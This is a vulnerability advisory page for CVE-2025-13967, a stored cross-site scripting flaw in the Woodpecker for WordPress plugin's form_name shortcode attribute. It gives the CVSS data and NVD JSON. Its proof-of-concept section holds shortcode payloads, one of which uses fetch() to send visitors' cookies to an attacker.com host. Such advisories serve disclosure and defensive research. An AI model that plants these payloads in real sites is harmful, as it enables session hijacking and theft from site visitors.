Security Vulnerability Report
中文
CVE-2025-13967 CVSS 6.4 MEDIUM

CVE-2025-13967

Published: 2026-01-09 12:15:53
Last Modified: 2026-04-15 00:35:42

Description

The Woodpecker for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'form_name' parameter of the [woodpecker-connector] shortcode in all versions up to, and including, 3.0.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Woodpecker for WordPress plugin <= 3.0.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Woodpecker for WordPress XSS PoC --> <!-- Attacker with Contributor role inserts this shortcode in a post/page --> [woodpecker-connector form_name="<img src=x onerror=alert(document.cookie)>" list_id="1"] <!-- When any user visits the page, the XSS payload executes --> <!-- The payload can be more malicious: --> [woodpecker-connector form_name="<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" list_id="1"] <!-- Technical details from source code --> <!-- Vulnerable file: public/partials/wfw-public-shortcode.php line 39 --> <!-- The form_name attribute is output directly without escaping --> <!-- Vulnerable file: public/class-wfw-public.php line 109 --> <!-- Shortcode handler processes attributes without sanitization -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13967", "sourceIdentifier": "[email protected]", "published": "2026-01-09T12:15:53.103", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Woodpecker for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'form_name' parameter of the [woodpecker-connector] shortcode in all versions up to, and including, 3.0.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin de WordPress Woodpecker for WordPress es vulnerable a Stored Cross-Site Scripting a través del parámetro 'form_name' del shortcode [woodpecker-connector] en todas las versiones hasta la 3.0.4, inclusive, debido a una sanitización de entrada y escape de salida insuficientes. Esto permite a atacantes autenticados, con acceso de nivel Colaborador y superior, inyectar scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/woodpecker/tags/3.0.4/public/class-wfw-public.php#L109", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/woodpecker/tags/3.0.4/public/partials/wfw-public-shortcode.php#L39", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/woodpecker/trunk/public/class-wfw-public.php#L109", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/woodpecker/trunk/public/partials/wfw-public-shortcode.php#L39", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1d99c8a8-daeb-402b-990d-6bacf6e9a780?source=cve", "source": "[email protected]"}]}}